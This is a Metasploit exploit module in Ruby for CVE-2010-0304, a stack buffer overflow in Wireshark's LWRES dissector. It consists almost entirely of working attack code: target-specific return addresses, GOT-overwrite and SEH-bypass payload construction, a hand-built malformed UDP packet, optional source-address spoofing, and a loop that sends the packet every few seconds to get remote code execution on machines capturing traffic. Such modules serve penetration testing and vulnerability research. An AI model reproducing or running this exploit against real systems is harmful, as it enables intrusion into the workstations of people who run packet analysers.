Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow (loop)

`##  
# $Id: wireshark_lwres_getaddrbyname.rb 8364 2010-02-03 18:24:42Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
#require 'racket'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::Udp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow (loop)',  
'Description' => %q{  
The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and 1.2.0 through  
1.2.5 allows remote attackers to execute arbitrary code due to a stack-based buffer  
overflow. This bug found and reported by babi.  
  
This particular exploit targets the dissect_getaddrsbyname_request function. Several  
other functions also contain potentially exploitable stack-based buffer overflows.  
  
The Windows version (of 1.2.5 at least) is compiled with /GS, which prevents  
exploitation via the return address on the stack. Sending a larger string allows  
exploitation using the SEH bypass method. However, this packet will usually get  
fragmented, which may cause additional complications.  
  
NOTE: The vulnerable code is reached only when the packet dissection is rendered.  
If the packet is fragmented, all fragments must be captured and reassembled to  
exploit this issue.  
  
This version loops, sending the packet every X seconds until the job is killed.  
},  
'Author' =>  
[  
'babi', # original discovery/exploit  
'jduck', # ported from public exploit  
'redsand' # windows target/testing  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 8364 $',  
'References' =>  
[  
[ 'CVE', '2010-0304' ],  
[ 'OSVDB', '61987' ],  
[ 'BID', '37985' ],  
[ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2010-02.html' ],  
[ 'URL', 'http://anonsvn.wireshark.org/viewvc/trunk-1.2/epan/dissectors/packet-lwres.c?view=diff&r1=31596&r2=28492&diff_format=h' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Privileged' => true, # at least capture privilege  
'Payload' =>  
{  
'Space' => 512,  
'BadChars' => "\x00",  
'DisableNops' => true,  
},  
'DefaultTarget' => 4,  
'Targets' =>  
[  
[ 'tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',  
# breakpoint: lwres.so + 0x2ce2  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux',  
# conveniently, edx pointed at our string..  
# and so, we write it to g_slist_append's GOT entry just before its called.  
# pwnt.  
#  
# mov [ebx+0xc],edx / jmp 0x804fc40 -->  
# mov [esp+4],eax / mov eax,[edi+8] / mov [esp],eax / call g_slist_append  
#  
'Ret' => 0x804fc85, # see above..  
'RetOff' => 376,  
'Readable' => 0x804fa04, # just anything  
'GotAddr' => 0x080709c8 # objdump -R tshark | grep g_slist_append  
}  
],  
[ 'wireshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux',  
# the method for tshark doesn't work, since there aren't any convenient  
# pointers lying around (in reg/close on stack)  
#  
# since the wireshark bin has a jmp esp, we'll just use that method..  
'Ret' => 0x818fce8, # jmp esp in wireshark bin  
'RetOff' => 376,  
'Readable' => 0x8066a40, # just any old readable addr (unused)  
'GotAddr' => 0x818601c # objdump -R wireshark | grep g_slist_append (unused)  
}  
],  
  
[ 'wireshark 1.2.5 on RHEL 5.4 (x64)',  
{  
'Arch' => ARCH_X86_64,  
'Platform' => 'linux',  
'Ret' => 0xfeedfed5deadbeef,  
'RetOff' => 152,  
}  
],  
  
[ 'wireshark 1.2.5 on Mac OS X 10.5 (x86)',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'osx',  
'Ret' => 0xdeadbeef,  
'RetOff' => 268,  
}  
],  
  
# The following target was tested against Windows XP SP3 and Windows Vista  
[ 'wireshark/tshark 1.2.1 and 1.2.5 on Windows (x86)',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'win',  
# NOTE: due to the length of this packet, your mileage may vary.  
'Ret' => 0x61B4121B,  
# 0x655810b6 = pop/pop/ret in libpango  
# 0x02A110B6 = pop/pop/ret in libgtk-w  
# 0x03D710CC = pop/mov/pop/ret in packet  
# 0x61B4121B = pop/pop/ret in pcre3  
'RetOff' => 2128,  
}  
],  
],  
'DisclosureDate' => 'Jan 27 2010',  
# Set it to passive mode to background it.  
'Stance' => Msf::Exploit::Stance::Passive))  
  
register_options([  
Opt::RPORT(921),  
Opt::RHOST("239.255.255.250"),  
OptAddress.new( 'SHOST', [false, 'This option can be used to specify a spoofed source address', nil]),  
OptInt.new( 'DELAY', [true, 'This option sets the delay between sent packets', 5])  
], self.class)  
  
register_advanced_options([  
OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ])  
], self.class)  
  
deregister_options('FILTER','PCAPFILE')  
end  
  
def exploit  
  
ret_offset = target['RetOff']  
  
# we have different techniques depending on the target  
if (target == targets[0])  
# debian tshark  
str = make_nops(ret_offset - payload.encoded.length - 16)  
str << payload.encoded  
str << [target['GotAddr'] - 0xc].pack('V')  
str << rand_text(4)  
str << [target['Readable']].pack('V')  
str << rand_text(4)  
# ret is next  
elsif (target == targets[1])  
fix_esp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,-3500").encode_string  
str = make_nops(ret_offset - fix_esp.length - payload.encoded.length)  
str << fix_esp  
str << payload.encoded  
# jmp esp...  
str << [target.ret].pack('V')  
# jump back  
distance = ret_offset + 4  
str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string  
elsif (target == targets[4])  
# ugh, /GS and UDP length issues :-/  
str = make_nops(ret_offset - payload.encoded.length)  
str << payload.encoded  
str << generate_seh_record(target.ret)  
# jump back  
distance = ret_offset + 8  
str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string  
else  
# this is just a simple DoS payload  
str = Rex::Text.pattern_create(ret_offset)  
#str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+6").encode_string  
end  
  
# add return address  
#XXX: this isn't working?  
#str << Rex::Arch.pack_addr(target.arch, target.ret)  
str << [target.ret].pack('V')  
  
# form the packet's payload!  
sploit = "\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01"  
sploit << "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
sploit << "\x00\x00\x00\x01"  
sploit << [str.length].pack('n')  
sploit << str  
sploit << "\x00\x00"  
  
shost = datastore['SHOST']  
if (shost)  
print_status("Sending malformed LWRES packet to #{rhost} (spoofed from #{shost})")  
open_pcap  
  
n = Racket::Racket.new  
  
n.l3 = Racket::L3::IPv4.new  
n.l3.src_ip = datastore['SHOST'] || Rex::Socket.source_address(rhost)  
n.l3.dst_ip = rhost  
n.l3.protocol = 6  
n.l3.id = rand(0x10000)  
n.l3.ttl = 64  
  
n.l4 = Racket::L4::UDP.new  
n.l4.src_port = rand((2**16)-1024)+1024  
n.l4.dst_port = datastore['RPORT'].to_i  
  
n.l4.payload = sploit  
  
n.l4.fix!(n.l3.src_ip, n.l3.dst_ip)  
pkt = n.pack  
  
while true  
break if session_created? and datastore['ExitOnSession']  
capture_sendto(pkt, rhost)  
sleep(datastore['DELAY'])  
end  
  
close_pcap  
  
handler  
else  
print_status("Sending malformed LWRES packet to #{rhost} every #{datastore['DELAY']} seconds.")  
  
handler  
  
while true  
break if session_created? and datastore['ExitOnSession']  
connect_udp  
udp_sock.put(sploit)  
disconnect_udp  
sleep(datastore['DELAY'])  
end  
end  
  
end  
  
end  
`